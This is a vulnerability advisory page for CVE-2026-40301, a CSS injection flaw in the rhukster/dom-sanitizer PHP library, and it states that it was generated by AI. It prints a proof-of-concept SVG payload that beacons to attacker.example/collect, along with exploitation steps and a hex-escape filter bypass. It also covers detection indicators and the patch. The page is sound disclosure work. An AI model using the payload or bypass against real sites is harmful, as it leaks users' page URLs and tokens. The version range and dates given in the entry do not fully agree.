
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-40301 is a CSS injection vulnerability in the rhukster/dom-sanitizer PHP library (DOMSanitizer) that allows unfiltered CSS url() references and @import rules to pass through the sanitizer when embedded in SVG or HTML <style> elements. Affecting all versions up to and including 1.0.9 (≤ 1.2.1 per the advisory), the flaw was published on April 17, 2026, and patched in version 1.0.10. It carries a CVSS v3.1 base score of 4.7 (Medium) (GitHub Advisory, Feedly).
The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation). In src/DOMSanitizer.php, the sanitize() method allows <style> as a permitted tag in SVG (and HTML) mode and strips dangerous attributes via an EXTERNAL_URL pattern — but it never inspects the text node content of <style> elements. Because CSS rules reside in text nodes rather than attributes, external url() references (e.g., url(https://attacker.example/collect)) and @import directives pass through completely unfiltered. An attacker can also bypass naive string matching using CSS hex escapes (e.g., \75 rl(...) for url(...)) since the pre-patch code performed no hex-escape normalization before pattern matching (GitHub Advisory, Fix Commit).
When a victim's browser renders the sanitized SVG or HTML output, it automatically issues HTTP GET requests to attacker-controlled hosts specified in the CSS url() or @import rules, leaking the page URL and potentially session-related data. On browsers that support CSS attribute-selector side-channel techniques, an attacker may further exfiltrate form token values or partial cookie contents. Availability and integrity are not directly impacted, but confidentiality is compromised for any user who views content processed by the vulnerable library. The vulnerability was confirmed exploitable in Statamic CMS (related advisory GHSA-g8hv-8w5p-cvqg) (GitHub Advisory, Release 1.0.10).
No public exploit kit or weaponized tooling has been reported. The EPSS score is 0.029% (very low probability of near-term exploitation), and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities catalog. Exploitation requires user interaction (a victim must render the attacker-supplied SVG/HTML in a browser), but no authentication or special privileges are needed on the attacker's side. A proof-of-concept payload is included in the GitHub Security Advisory itself (GitHub Advisory, Feedly).
<style> element with an external url() reference or @import rule, e.g.:<svg xmlns="http://www.w3.org/2000/svg">
<style>* { background: url("https://attacker.example/collect"); }</style>
</svg>DOMSanitizer::sanitize() (e.g., a rich-text editor, avatar upload, or content field in Statamic CMS).<style> text node content, so the payload survives unchanged.https://attacker.example/collect, including the Referer header (page URL). Monitor the attacker-controlled server logs to capture the leaked URL and any additional data.url() callbacks to iteratively leak form token characters or partial session values from the rendered page (GitHub Advisory, Fix Commit).Referer headers in attacker server logs pointing to the victim application's URLs.attacker.example) with referrer values matching internal application pages; unusual CSS @import or url() patterns in stored content fields.<style> blocks with external url() references (e.g., url(https://, url(http://, url(//, url(ftp://, url(data:) or @import directives in text node content.DOMSanitizer::sanitize() and contains <style> elements — review stored content in databases or file stores for suspicious CSS rules (GitHub Advisory).Upgrade rhukster/dom-sanitizer to version 1.0.10 or later via Composer (composer update rhukster/dom-sanitizer). The fix adds a hasDangerousStyleContent() method that normalizes CSS hex escapes and then drops any <style> element whose text content contains @import, url() with an external scheme (http:, https:, ftp:, //, data:), or legacy expression(). Fragment-only references like url(#gradientId) are preserved for legitimate SVG use. No configuration-based workaround is available for unpatched versions other than disabling <style> tag support entirely or stripping all <style> elements from user input before passing to the sanitizer (Release 1.0.10, Fix Commit).
The vulnerability was reported by researcher morimori-dev and credited in the GitHub Security Advisory. The fix was released by maintainer Andy Miller (rhukster) on April 10, 2026. A related advisory (GHSA-g8hv-8w5p-cvqg) was issued for Statamic CMS, which uses this library, indicating downstream impact awareness. Community discussion was limited, with automated CVE tracking services (VulDB, CIRCL, cve.report) picking up the disclosure shortly after publication (GitHub Advisory, Release 1.0.10).
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."